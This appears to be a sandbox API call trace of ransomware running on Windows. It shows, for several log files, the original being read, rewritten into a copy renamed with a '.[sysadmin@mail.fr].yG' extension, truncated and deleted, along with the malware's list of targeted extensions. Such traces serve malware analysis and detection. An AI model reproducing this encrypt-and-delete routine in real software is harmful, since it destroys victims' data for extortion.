	[0051.120] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0051.120] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x326ff14 | out: lpFileSize=0x326ff14*=69632) returned 1
	[0051.120] CloseHandle (hObject=0x34c) returned 1
	[0051.120] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx")) returned 0x20
	[0051.120] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0051.120] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0051.120] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0051.120] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0051.120] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0051.121] GetLastError () returned 0x0
	[0051.121] ReadFile (in: hFile=0x34c, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x326fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x326fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0051.199] WriteFile (in: hFile=0x2e4, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x326fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x326fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0051.201] ReadFile (in: hFile=0x34c, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x326fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x326fecc*=0x0, lpOverlapped=0x0) returned 1
	[0051.201] WriteFile (in: hFile=0x2e4, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x326fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x326fc94*=0x132, lpOverlapped=0x0) returned 1
	[0051.201] SetEndOfFile (hFile=0x2e4) returned 1
	[0051.201] CloseHandle (hObject=0x2e4) returned 1
	[0051.203] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0051.203] SetEndOfFile (hFile=0x34c) returned 1
	[0051.204] CloseHandle (hObject=0x34c) returned 1
	[0051.204] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0051.204] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx")) returned 1
	[0051.204] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55
	[0051.204] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55
	[0051.204] lstrlenW (lpString=".doc") returned 4
	[0051.204] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0051.204] lstrlenW (lpString=".docx") returned 5
	[0051.204] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0051.204] lstrlenW (lpString=".pdf") returned 4
	[0051.204] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0051.204] lstrlenW (lpString=".xls") returned 4
	[0051.204] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0051.204] lstrlenW (lpString=".xlsx") returned 5
	[0051.204] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0051.205] lstrlenW (lpString=".ppt") returned 4
	[0051.205] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0051.205] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55
	[0051.205] lstrlenW (lpString=".zip") returned 4
	[0051.205] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0051.205] lstrlenW (lpString=".rar") returned 4
	[0051.205] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0051.205] lstrlenW (lpString=".bz2") returned 4
	[0051.205] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0051.205] lstrlenW (lpString=".7z") returned 3
	[0051.205] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0051.205] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55
	[0051.205] lstrlenW (lpString=".dbf") returned 4
	[0051.205] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0051.205] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55
	[0051.205] lstrlenW (lpString=".1cd") returned 4
	[0051.205] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0051.205] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55
	[0051.205] lstrlenW (lpString=".jpg") returned 4
	[0051.205] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0051.205] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55
	[0051.205] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55
	[0051.205] lstrlenW (lpString=".doc") returned 4
	[0051.205] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0051.205] lstrlenW (lpString=".docx") returned 5
	[0051.205] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0051.205] lstrlenW (lpString=".pdf") returned 4
	[0051.205] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0051.205] lstrlenW (lpString=".xls") returned 4
	[0051.205] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0051.205] lstrlenW (lpString=".xlsx") returned 5
	[0051.205] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0051.205] lstrlenW (lpString=".ppt") returned 4
	[0051.205] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0051.205] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55
	[0051.205] lstrlenW (lpString=".zip") returned 4
	[0051.206] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0051.206] lstrlenW (lpString=".rar") returned 4
	[0051.206] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0051.206] lstrlenW (lpString=".bz2") returned 4
	[0051.206] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0051.206] lstrlenW (lpString=".7z") returned 3
	[0051.206] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0051.206] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55
	[0051.206] lstrlenW (lpString=".dbf") returned 4
	[0051.206] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0051.206] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55
	[0051.206] lstrlenW (lpString=".1cd") returned 4
	[0051.206] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0051.206] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx") returned 55
	[0051.206] lstrlenW (lpString=".jpg") returned 4
	[0051.206] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0051.206] lstrcmpiW (lpString1=".evtx", lpString2=".yG") returned -1
	[0051.206] lstrlenW (lpString="Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 47
	[0051.206] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0051.206] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x326ff14 | out: lpFileSize=0x326ff14*=69632) returned 1
	[0051.206] CloseHandle (hObject=0x34c) returned 1
	[0051.206] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx")) returned 0x20
	[0051.206] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0051.207] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0051.207] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0051.207] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0051.207] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0051.214] GetLastError () returned 0x0
	[0051.214] ReadFile (in: hFile=0x34c, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x326fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x326fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0051.241] WriteFile (in: hFile=0x2e4, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x326fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x326fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0051.242] ReadFile (in: hFile=0x34c, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x326fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x326fecc*=0x0, lpOverlapped=0x0) returned 1
	[0051.243] WriteFile (in: hFile=0x2e4, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x326fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x326fc94*=0x132, lpOverlapped=0x0) returned 1
	[0051.243] SetEndOfFile (hFile=0x2e4) returned 1
	[0051.243] CloseHandle (hObject=0x2e4) returned 1
	[0051.244] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0051.245] SetEndOfFile (hFile=0x34c) returned 1
	[0051.497] CloseHandle (hObject=0x34c) returned 1
	[0051.567] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0051.567] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx")) returned 1
	[0051.568] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55
	[0051.569] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55
	[0051.569] lstrlenW (lpString=".doc") returned 4
	[0051.569] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0051.569] lstrlenW (lpString=".docx") returned 5
	[0051.569] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0051.569] lstrlenW (lpString=".pdf") returned 4
	[0051.569] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0051.569] lstrlenW (lpString=".xls") returned 4
	[0051.569] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0051.569] lstrlenW (lpString=".xlsx") returned 5
	[0051.569] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0051.569] lstrlenW (lpString=".ppt") returned 4
	[0051.569] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0051.569] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55
	[0051.569] lstrlenW (lpString=".zip") returned 4
	[0051.569] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0051.569] lstrlenW (lpString=".rar") returned 4
	[0051.569] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0051.569] lstrlenW (lpString=".bz2") returned 4
	[0051.569] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0051.569] lstrlenW (lpString=".7z") returned 3
	[0051.569] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0051.569] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55
	[0051.569] lstrlenW (lpString=".dbf") returned 4
	[0051.569] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0051.569] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55
	[0051.569] lstrlenW (lpString=".1cd") returned 4
	[0051.569] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0051.569] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55
	[0051.569] lstrlenW (lpString=".jpg") returned 4
	[0051.569] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0051.569] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55
	[0051.569] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55
	[0051.569] lstrlenW (lpString=".doc") returned 4
	[0051.569] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0051.569] lstrlenW (lpString=".docx") returned 5
	[0051.570] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0051.585] lstrlenW (lpString=".pdf") returned 4
	[0051.585] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0051.585] lstrlenW (lpString=".xls") returned 4
	[0051.585] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0051.585] lstrlenW (lpString=".xlsx") returned 5
	[0051.585] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0051.585] lstrlenW (lpString=".ppt") returned 4
	[0051.585] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0051.585] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55
	[0051.585] lstrlenW (lpString=".zip") returned 4
	[0051.585] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0051.585] lstrlenW (lpString=".rar") returned 4
	[0051.585] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0051.585] lstrlenW (lpString=".bz2") returned 4
	[0051.585] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0051.585] lstrlenW (lpString=".7z") returned 3
	[0051.585] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0051.585] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55
	[0051.585] lstrlenW (lpString=".dbf") returned 4
	[0051.585] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0051.585] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55
	[0051.585] lstrlenW (lpString=".1cd") returned 4
	[0051.585] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0051.585] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55
	[0051.586] lstrlenW (lpString=".jpg") returned 4
	[0051.586] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0051.586] lstrcmpiW (lpString1=".evtx", lpString2=".yG") returned -1
	[0051.586] lstrlenW (lpString="Microsoft-Windows-Shell-Core%4Operational.evtx") returned 46
	[0051.586] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0051.967] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x326ff14 | out: lpFileSize=0x326ff14*=69632) returned 1
	[0051.967] CloseHandle (hObject=0x34c) returned 1
	[0051.967] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx")) returned 0x20
	[0051.968] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0051.968] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0051.968] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0051.968] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0051.968] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0052.516] GetLastError () returned 0x0
	[0052.516] ReadFile (in: hFile=0x34c, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x326fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x326fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0053.054] WriteFile (in: hFile=0x35c, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x326fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x326fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0053.055] ReadFile (in: hFile=0x34c, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x326fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x326fecc*=0x0, lpOverlapped=0x0) returned 1
	[0053.055] WriteFile (in: hFile=0x35c, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x326fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x326fc94*=0x130, lpOverlapped=0x0) returned 1
	[0053.055] SetEndOfFile (hFile=0x35c) returned 1
	[0053.055] CloseHandle (hObject=0x35c) returned 1
	[0053.057] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.057] SetEndOfFile (hFile=0x34c) returned 1
	[0053.058] CloseHandle (hObject=0x34c) returned 1
	[0053.058] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0053.058] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx")) returned 1
	[0053.059] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54
	[0053.059] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54
	[0053.059] lstrlenW (lpString=".doc") returned 4
	[0053.059] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0053.059] lstrlenW (lpString=".docx") returned 5
	[0053.059] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0053.059] lstrlenW (lpString=".pdf") returned 4
	[0053.059] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0053.059] lstrlenW (lpString=".xls") returned 4
	[0053.059] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0053.059] lstrlenW (lpString=".xlsx") returned 5
	[0053.059] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0053.059] lstrlenW (lpString=".ppt") returned 4
	[0053.059] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0053.059] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54
	[0053.059] lstrlenW (lpString=".zip") returned 4
	[0053.059] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0053.059] lstrlenW (lpString=".rar") returned 4
	[0053.059] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0053.059] lstrlenW (lpString=".bz2") returned 4
	[0053.059] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0053.059] lstrlenW (lpString=".7z") returned 3
	[0053.059] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0053.059] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54
	[0053.059] lstrlenW (lpString=".dbf") returned 4
	[0053.059] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0053.059] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54
	[0053.059] lstrlenW (lpString=".1cd") returned 4
	[0053.060] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0053.060] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54
	[0053.060] lstrlenW (lpString=".jpg") returned 4
	[0053.060] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0053.060] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54
	[0053.060] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54
	[0053.060] lstrlenW (lpString=".doc") returned 4
	[0053.060] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0053.060] lstrlenW (lpString=".docx") returned 5
	[0053.060] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0053.060] lstrlenW (lpString=".pdf") returned 4
	[0053.060] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0053.060] lstrlenW (lpString=".xls") returned 4
	[0053.060] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0053.060] lstrlenW (lpString=".xlsx") returned 5
	[0053.060] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0053.060] lstrlenW (lpString=".ppt") returned 4
	[0053.060] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0053.060] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54
	[0053.060] lstrlenW (lpString=".zip") returned 4
	[0053.060] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0053.060] lstrlenW (lpString=".rar") returned 4
	[0053.060] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0053.060] lstrlenW (lpString=".bz2") returned 4
	[0053.060] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0053.060] lstrlenW (lpString=".7z") returned 3
	[0053.060] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0053.060] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54
	[0053.060] lstrlenW (lpString=".dbf") returned 4
	[0053.060] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0053.060] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54
	[0053.060] lstrlenW (lpString=".1cd") returned 4
	[0053.060] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0053.060] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx") returned 54
	[0053.060] lstrlenW (lpString=".jpg") returned 4
	[0053.060] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0053.061] lstrcmpiW (lpString1=".evtx", lpString2=".yG") returned -1
	[0053.061] lstrlenW (lpString="Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 46
	[0053.061] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0053.061] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x326ff14 | out: lpFileSize=0x326ff14*=69632) returned 1
	[0053.061] CloseHandle (hObject=0x34c) returned 1
	[0053.061] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx")) returned 0x20
	[0053.061] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0053.061] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
